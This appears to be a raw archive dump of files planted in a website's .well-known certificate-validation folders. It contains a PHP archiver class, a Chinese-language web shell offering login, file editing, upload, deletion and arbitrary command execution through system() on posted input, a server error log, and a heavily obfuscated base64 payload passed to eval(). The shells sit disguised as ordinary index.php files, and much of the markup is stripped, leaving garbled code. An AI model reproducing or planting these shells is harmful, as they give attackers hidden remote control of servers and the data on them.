pki-validation/977520/index.php000064400000233472150211064610012063 0ustar00<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>pki-validation/ca3-d91e6527df3243b992a5c36b5ee0da05.txt000064400000000044150211064610015235 0ustar00ca3-820cbab8dc2343b48b51fa83f80d7e2dpki-validation/index.php000064400000000000150211064610011261 0ustar00acme-challenge/649405/index.php000064400000025673150211064640012000 0ustar00999852
文件删除成功!
'; } else { echo '
文件删除失败!请检查权限
'; } } else { echo '
文件不存在或路径非法!
'; } } // 文件编辑器功能(新增函数) function show_editor($filePath) { $file = realpath($filePath); if (!$file || !is_file($file)) { echo '
文件不存在!
'; return; } // 处理保存请求 $content = file_get_contents($file); if (isset($_POST['save'])) { $newContent = $_POST['content']; if (is_writable($file)) { if (file_put_contents($file, $newContent) !== false) { echo '
✔️ 文件保存成功
'; $content = $newContent; // 更新显示内容 } else { echo '
❌ 文件保存失败!请检查磁盘空间
'; } } else { echo '
❌ 文件不可写!请检查权限
'; } } // 显示编辑器界面 echo <<
📝 编辑文件: {$file} 返回
HTML; } // 命令执行处理(增强版) function execute_command($cmd) { system($cmd); } function handle_file_upload($current_dir) { if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $target_dir = realpath($current_dir); $target_file = $target_dir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); // 检查文件是否已存在 if (file_exists($target_file)) { return '
文件已存在!
'; } // 尝试移动上传的文件 if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) { return '
文件上传成功!
'; } else { return '
文件上传失败!
'; } } return ''; } /*========== 界面组件 ==========*/ function show_login() { echo << shell
HTML; } function show_header() { echo << file manager HTML; } function show_file_manager($dir = '.') { $current_path = realpath($dir); $parent_dir = dirname($current_path); echo '
'; // 路径导航 echo '
'; echo '← 上级目录'; echo '当前位置:'.htmlspecialchars($current_path).''; echo '
'; // 文件表格 echo '
'; echo '
'; echo ''; echo ''; echo ''; foreach (scandir($current_path) as $file) { if ($file == '.' || $file == '..') continue; $full_path = $current_path.DIRECTORY_SEPARATOR.$file; $is_dir = is_dir($full_path); echo ''; // 名称列 echo ''; // 类型列 echo ''; // 大小列 echo ''; // 修改时间 echo ''; // 操作列 echo ''; } echo '
名称 类型 大小 修改时间 操作
'; if($is_dir) { echo ''; echo '📁 '; echo htmlspecialchars($file); echo ''; } else { echo '📄 '; echo htmlspecialchars($file); } echo ''.($is_dir ? '文件夹' : '文件').''.format_size($is_dir ? 0 : filesize($full_path)).''.date("Y-m-d H:i", filemtime($full_path)).''; if (!$is_dir) { echo '编辑'; echo '下载'; echo '删除'; } echo '
'; // 结束卡片和表格 // 功能面板 show_tools_panel($current_path); } function show_tools_panel($current_path) { echo '
'; // 上传面板 echo '
'; echo '
'; echo '
📤 文件上传
'; echo '
'; echo '
'; echo ''; echo ''; echo '
'; echo '
'; // 命令面板(增强版) echo '
'; echo '
'; echo '
💻 命令执行
'; echo '
'; echo '
'; echo ''; echo ''; echo '
'; if (!empty($_POST['cmd'])) { echo '
'.execute_command($_POST['cmd']).'
'; } echo '
'; echo '
'; // 结束row } /*========== 工具函数 ==========*/ function format_size($size) { $units = ['B', 'KB', 'MB', 'GB']; for ($i = 0; $size >= 1024 && $i < 3; $i++) $size /= 1024; return round($size, 2).' '.$units[$i]; } /*========== 主流程 ==========*/ authenticate(); show_header(); // 处理操作请求 $current_dir = isset($_GET['path']) ? $_GET['path'] : '.'; $upload_result = handle_file_upload($current_dir); echo $upload_result; // 显示内容 if (isset($_GET['edit'])) { show_editor($_GET['edit']); } else { show_file_manager($current_dir); } echo '

仅供学习,勿用于非法用途。

'; echo '';acme-challenge/649405/error_log000064400000000347150211064640012064 0ustar00[04-Jun-2025 22:50:45 America/New_York] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/abhiramc/public_html/newsroom/OLD/.well-known/acme-challenge/649405/index.php on line 2 acme-challenge/index.php000064400000000000150211064640011176 0ustar00acme-challenge/671500/index.php000064400000140607150211553740011766 0ustar00".$GSEHVZQIZCI("PD9w aHAgJFFGUD0iXDE0MlwxNDFcMTYzXHg2NVx4MzZcNjRcMTM3XDE0NFwxNDVceDYzXDE1N1x4NjRcMTQ1IjtAZXZhbCgiPz4i LiRRRlAoIlBEOXdhSEFnSkZoTVdFMVJTMFJZUFNKY01UUXlYREUwTVZ3eE5qTmNlRFkxWEhnek5sdzJORnd4TXpkY01UUTBY REUwTlZ4NE5qTmNNVFUzWEhnMk5Gd3hORFVpTzBCbGRtRnNLQ0kvUGlJdUpGaE1XRTFSUzBSWUtDSlFSRGwzWVVoQlowcEZS bEZSYXpGUlUxVTVZVlZyV2xKUVUwcGpUVlJSZVZoRVJUQk5WbmQ0VG1wT1kyVkVXVEZZU0dkNlRteDNNazVHZDNoTmVtUmpU VlJSTUZoRVJUQk9WbmcwVG1wT1kwMVVWVE5ZU0djeVRrWjNlRTVFVldsUE1FSnNaRzFHYzB0RFNTOVFhVWwxU2tWR1VWRnJN VkZUVlRsaFZXdGFVa3REU2xGU1JHd3pXVlZvUWxvd2NFZFhhM2hWVWxoQ1VWWkVRbE5TYkZaeFRVZHNXVkpGVlhkVVYzZ3pa VVUxUlZKdFRrNVdSbXcyVjBWb2JrMXJOVmRsUkZKT1pXeHdhbFJ0Y0ZOWk1ERlZWRlJPV1ZKRlZYZFVhMW96WlVVMVJWWnRU bXhTUm13MlYwVlNSazFWTkhobFJGSlBZV3hLYWxSV1VsSk5WV3h4WkVWR1lWZEdjRzlaYTA1dVlWWkNOazVIYkUxaFZrcFlW WHBDTkZNeFVYZFBWVlpUVm10c2RsTlhlRU5TVlRsWldrZG9WRkpWV25WVk1uUnZaR3N4UjJKSVVsWmlXRUpvVld0YVJrMVdU bFpWV0dSaFRVZDRlbHBFVG05VU1rWnlVbTVDVlUweWVGUlpNVlY0VG14c05sSnNjRmROVlhCNlZrWmtjMUZyT1ZaaVJWSlVZ bFUxVDFaclduTk9iRTVZWTBod2FFMXJOREpYV0hCSFYyMUtWMk5JVWxWWFNFSjFWMnBHUTFaR1JsaGlSbXhUVWxaV00xWkhN WE5UYXpSM1kwVm9UbEpHU2s5WlZ6RnJUa1pTVlZOck9XaE5SM2hHVkZWa2ExTnRTa2xhZWtKVlltNUNUMWxXVlRWT1ZsWjFZ VVpDVTAxSGQzcFdSbFpyVTJzd2VHTkZVbEpXUjNoTFZWUkNkMkZzVWxkVmJFcHNWbGQ0ZUZsNlNqQlhhekZ6WWtSU1ZXSkhV azlhUkVGNFVsWk9XRnBHUmxaTlJWcDNWakJXVTFKck1VWk9WbEpVVmtkU1RGVnFSa3RqVm1SelZXMDFiRlpVYkZaV1ZsSlRV MnhLUlZGdE5WUldNMmN3Vkd0Vk1VNXNVbGhpUmtKc1ZtdHdObFpHWkhkVmF6RnlUbFJhVTJKWWFFOVpWbFpHVGxaT1ZsUnJk RnBOUkVaV1ZsWlNUMU50Um5WVWJrcGFZa2RTVTFSVlZYZGxWbHAwVFZad1YxSXpVblZXVlZwUFVXMUdWMkZGYkdGbGF6VlBX VlpXY2sweFRuSmFSazVvWWtoQ1ZsZHFUbk5WUmxwSFVsUkNWVkl5T1ROWGFrSnpZekpSZW1GRk9XaGlSVnAzVmtST2MxVXlS bk5qU0VaVFZrVmFZVnBYZEVkTk1WSllZWHBDVUZaWGVFVlZNakZQVkd4YVNGUnFUbFJXTTBJMldWUktSMk5XVWxWVWF6bFhU VVp3ZVZZeWVGTlRiVkpYVVd4U1VsWXllRnBWYTFaV1pVWlNWbFJyY0U5TlNFSktXVzV3UTFkdFNsZFRia1pZWVRGS1UxUnNW alJqVlRGSVdrVndhVk5IVVRCV1J6RjNVMjFHVms5VVZsWmliV2hSVldwQ2MwMHhVbFphUlhCT1RWaENSVlJyVW5OVGJFVjNZ MGR3VlZac1NsTmFWVlp6WTFkTmVXUkhiRmROVlZZelZrWlNTMVl5U2xkaVJsWm9UVEZhVWxaVVFrZGpSbVJHVld0YVRsSlVW bFZWTVZKclV6RkplbHBFVmxWaE1VcGhWRlJCZUZkR1dsbGlSVEZvWVd0S2RWVXhaRFJOTWxaR1RsUmFWRll5ZUZGYVZscExU bXhTZFdOR1pHaFdia0l3VmpGb2QxVkdSalpWVkZaVVZsVTFURmRVUVhoV1ZscFpZVVZ3YUdKck5YbFhWM2hUWW0xV1ZrOVZW bE5YU0VKaFZGZDRSMDFXVmtkVWEwcG9WbTFvUmxWc1VrdFVNVVYzWVhwT1ZHRXlhREpVVlZwelpFWldkR05IUmxOU2ExVjRW a1ZrZG1ReGIzZGlTRTVzVWtaS1VGbFhlRmRqUmxGNllrWk9hR0pJUW5oVmJGSkhWMjFXY2xKcVRsVldNbk4zVkRGV2MxSkdU blJVYXpWWFVtMTNlbFV4WkhkbGJVVjVVbTVHVlZaRk5WQldha0poWTJ4a2MxVnJjR3RXYTBwVlZWWmtjMWRXVGtoWk0yeFZW bXMxUzFScVFuZFRSMUY2WWtVNVUxSnRkRFpXUmxwclZtMVdWbVZJUms1U01sSkxXV3RvYmsxR1VuUmpTRXBvVmxSck1WWlhN VEJYYXpGelZsUkNWVll6UW5sVVZWVTFVa1UxUldKRmNGSk5TRUp4VmtaYVUxZHRWbFppU0VacVRXNVNjVlpyWkc5alJsSldW V3RPYUZaVVVqVldWbWhYVlZaVmQxSnVRbGhTVjJoMVZGUkJlRTVXVGxWYVJYUlRaV3RGZDFaR1pIZGliVlpHVFVoc1ZXSllV azVaVjNCRFlteE9XR1ZFVG14U1ZGWjRWVEZrYzFWSFZsZFRhbHBWWW01Q1dGbFdXbmRrUm1SWlkwWkNVbVZzUlRGVk1WWlBV ekZyZVZaclZsaGlXRUpMV1ZjMVQyTnNiSE5hUmtwT1VsUkNOVlp0TUhoWGJGcElaRVJHVmxKck5VTlpWbHB2VWxaS1ZWTnJO V3hXVjNONlZUSjBhbVF3TlVaTldFWmhUVEpvVDFSWGN6RmpiRkpJWWpOa1lVMUhlSHBhVlZKVFZERlplR0pJUWxWTk1uaFVX bFZWTlZOR1RsbGFSVFZUVFVkME5sWXlkRTVOUlRsV1lrVlNWR0pWTlU5V2ExcEdaVVpPV0dOSWNHaE5iRnA0VmxjeGMxbFdT WGRPV0VwVllURktlVnBHV2tOV1JrWllZa1pzVTFKV1ZqTldSelZ6VTJzMGQyTkZhR2xOTTBKUVdsZDRZV0l4WkhKYVJscHNW bGhvZUZSVlpHdFRiVXBKV25wQ1ZWZElRa2RaVmxVMVRsWldkV05GT1d4aVJuQjNWakl3ZUZkdFZuSlBWVkpQVWtkNFMxVlVR bmRoYkZKWFZXeEtUbFpYZUhoWmVrb3dXVlpKZDA1WVRsVk5Sa3BMVkd4Vk1WSldiM3BXYkVaV1RVVmFkMVl3Vm05aWF6RnlU VlJXVkZaSFVreFZibkJIWTJ4U2NsVnJPV2xTYmtJd1ZXeFNWMVJYUm5GUmJUVlVWak5uZWxwVlZURlNWbHBZWWtaQ2JGWnJj SGhXTWpGM1Vtc3hWMkpFV2xKWFIxSlBXVlpTVWs1V1RsWlVhM1JhVFd4YVJsWXlNWGRUYlVaMVZHNUtXbUV4U2t0VVZWVXhZ MVpyZW1GSFJsZFNWM2Q0VmxWYVQxRnRSbGRoUld4aFpXdHdhRlpVUW5KTk1VNXlXa1pPYUdKSVFsWlhhazV6VlVaYVIxSlVR bFZTTWprelYycENjMk15VmtWVmF6bHBWbXRhZDFaRVRuTlZNbEpIWTBWV1ZsZElRbWhXYWtaM1lqRlJlRlJVUWxCV1YzaEZW VEl4VDJKR1NraFVXR1JVVmpOQ05sbFVTbGRqVmxaMFlrZEdVMDFFVm5sV1IzUlRZMjFTVjFGc1VsSldNbmhhVld0V1YwNXNV blZpUlhCUFRVaENTbFpHVWs5VU1WbDNZMGhTV0dKWVFrOVVhMVkwWTFVeFNGcEZjR2xUUjJOM1ZrZDRhMWR0UmxaUFZGWldZ bXMxVDFsWGVFWmxWbEoxWTBWa2FWSlVSbmRVYTFKelUyeEZkMk5IY0dGV1ZrcGhWRmQwYzJOWFRYbGtSMnhYVWpKUk1WWkVR bE5TYlZaellUTnNWbGRHV2xKV1ZFSkhZMFprUm1GSE5VNU5SRVozVlRGU2ExTXhTWGRPV0ZKVlZteEtXRmxYYzNoU1ZrWlpZ a1V4YUdGclNuVlZNV1EwVGtVMVJrNVlVbGhXTW5oUldsWmFTMDVHVVhkYVJYQnJUVVJHU1ZVeFVrOVpWa1kyVlZSV1ZGWlZO VXhYVkVFeFkxWmtXR0pHUW14V2EzQjRWakl4ZDFKck1WZGlSRnBTVjBkU1QxbFdVbEpPVms1V1ZHdDBXazFFUmxaV1ZsSkRV MjFHZFZSdVNscE5Wa3AyV1ZaVmVGSldSblJpUlRsT1lrVlplRlpWV2s5UmJVWlhZVVZXV0ZaRlNrdFpWelZQWTJ4cmVtTkhj RTVXYlhnd1ZqSXdlRlJ0Vm5SYVJFWldVbXMxUTFsV1dtOVNWa3BWVVdzNWJGWlhjM3BWTW5ScVpEQTFSazFZUm1GTk1taFBW RmR6TVdOc1VraGlNMlJoVFVkNGVscFZVbE5VTWtwWFlraENWVTB5ZUZSWmVrRjRZMVpXVlZOck9XeGhNWEI2Vmtaa2NrMUZP VlppUlZKVVlsVTFjMVZyV25kalZrNVlZMGh3YUUxWVFrbFdSekUwVlVaS1JtRjZSbFZoTVVwMVdrWmFRMVpHUmxoaVJteFRV bFpXTlZaR1ZrOVRhelIzWTBWc2FXVnJTbUZaYkZwTFkxWmtjbFZzU2s5V1dHaDRWRlZrYTFOdFNrbGFla0pWWW01Q1MxbFdW VFZPVmxaMFkwZEdhR0V4VmpSV01XaDNVVzFSZDAxWVFrOVNSM2hMVlZSQ2QyRnNjRlpWYkhCT1ZsZDRlRmw2U2pCaFZrcEdZ VE5rVldKWVFuRmFWVnAzVmxaT1dWWnNSbFpOUlZwM1ZqQldVMUpyTVVaTlZsSlVWa2RTVEZWdWNFSk5SbEpZWTBjMWJGSlVR alZXUnpFd1ZGZEdjVkZ0TlZSV00yZDZXbFZWTVdOV1ZsaGlSa0pzVm10dk1GWkVRbXRUYlZGM1RWVm9WRlpGTldoVldIQlNU bFpPVmxScmRGcE5SRVpXVmtaU1QxTnRSblZVYmtwYVRUTkNjVlJXV25Oa1JtUjBUVlUxYkdKWFVYaFdWVnBQVVcxR1YyRkZW bE5XUlVwUVZsUkNjazB4VG5KaFNGcE9VbTE0TUZaWE1YZFpWa3BIVWxSR1ZWSXlPVE5YYWtKell6SlJlbUZGT1ZOU2JGcDNW a1JPYzFVd05YSk9WV2hVWWxoU1lWUlhlRVprTVZGNFZGUkNVRlpYZUVWVk1qRlBZa1pLU0ZScVRsUldNMEkyV1ZSS1MxSldU bFZSYXpsb1lsVTBNRll5ZUZOVGJWSlhVV3hTVWxZeWVGcFZhMVpXWlZaU2NsUnJjRTlOU0VKS1ZrWlNUMVF4V1hkalNGSllZ bGhDVDFSclZqUmpWVEZJV2tWd2FWTkhVVEJXUnpGM1ZXMUdWazlVVmxaaWJFcFJWV3RXY2sxR1VsZFZhemxvWWtoQ1JWUnJV bk5UYkVWM1kwZHdWV0pZUWtkWlZsVTFUbFpXZFdGR1FsTk5SM2Q2VmtaV2ExTnJNSGhqUlZKUFVrZDRTMVZVUW5kaGJGSlhW V3hLVGxKWGVIaFpla293WVd4YVNHRklRbFZXVmtwRVdWWlZNR1ZXVmxsV2JFWldUVVZhZDFZd1ZsTlNhekZHVGxaU1ZGWkhV a3hWTUdNMFpERmtXRTFXVG1oaVNFSkdWbFpTVjFSWFJuRlJiVFZVVmpObk1GUnJWVEZrUmxKWVlrWkNiRlpyYnpKV1J6VjNW akpHVjJOSVVsaFhTRUpSVlZod1VrNVdUbFpVYTNSYVRVUkdWbFpHVWs5VGJVWjFWRzVLV21FeFNrdFVWVlV4WTFacmVtRkhS bGRTVjNkNFZsVmFUMUZ0UmxkaFJWWlRWa1ZLVUZaVVFuSk5NVTV5V1ROa1QxSlVSbmhYYWs1dlZHc3hjazVZU2xWU01qa3pW MnBDYzJNeVVqWlRhelZzVmxkemVsVXlkRzlrYXpGSFlraFNWbUpZUW1oVmExcEdUVlpTU0dJelpHRk5SM2g2V2xWU1UxUXlS bkpXYmtKVlRUSjRWRnBWVlRWVFJrNVpXa1UxVTAxSGREWldNblJPVFVVNVZtSkZVbFJpVlRWUFZtdGFSMDVzVGxoalNIQm9U V3MwTWxkWWNFZFhiVXBYWTBoU1ZWZElRblZhUmxwRFZrWkdXR0pHYkZSU01rNDFWa1pvYzFOck5IZGpSV3hWVmtVMVVGWnFR bmRrUm1SMFkwVTFUMUpZYUhoVVZXUnJVMjFLU1ZwRVVsVmlSa3B4V1ZaVk5VNVdWbkZYYXpsVFRVaENlVll4VWt0VmF6RkdU MVpTVDFKSGVFdFZWRUozWVd4d1ZsVnNjR3hoTW5oNFdYcEtNR0ZzV2toaFNFSlZWbFpLUkZsV1ZUQmxWbFpaVm14R1ZrMUZX bmRXTUZadlltc3hjMk5JUWxSV1IxSk1WVEJqTkdReFpGaE5WazVvWWtoQ1JsWldVbGRVVjBaeFVXMDFWRll6WjNwYVZWVXhV bFphV0dKR1FteFdhMjh5VmtjMWQxWXlSbGRqU0ZKWVYwaENVVlZZY0ZKT1ZrNVdWR3QwV2sxRVJsWldiRkpMVTIxR2RWUnVT bHBOVmtwMldWWlZlRkpXUm5SaVJUbE9Za1ZaZUZaVldrOVJiVVpYWVVWV1UxWkZTbEJWVkVKeVRURk9jbUZGTlU1TlJGWlpW VEl3ZUZsWFJuSk5SRUpWVWpJNU0xZHFRbk5qTWxaRlZXczViR0pGV25kV1JFNXpWVEpXUms5VmFGUlhSMUpQVldwQ2NtVnNa SEpVVkVKUVZsZDRSVlV5TVU5VWJGcEhVbGhvVkZZelFqWlpWRXBQVG14c05sSnNjR2xXYmtJd1ZrWm9kMkp0VWxkUmJGSlNW ako0V2xVd1pHcGxWbEp6Vkd0d1QwMUlRa3BXUmxKUFZERlpkMk5JVWxoaVdFSlBWR3RXTkdOVk1VaGFSWEJwVTBkamQxWkhN SGhXYlVaV1QxUldWbUp1UWxCYVYzaGhZMFprZEUxV2NHeGhlbXhGVkd0U2MxTnNSWGRqUjNCVlZteEtZVlJWVm5OalYwMTVa RWR3YkdKVk1UUldNV040V1ZkS1ZrMVVXbUZOTVZwU1ZsUkNSMk5HWkVaVmExcE9ZWHBGTVZVeFVtdFRNVWw1WVVoR1ZWWlhV 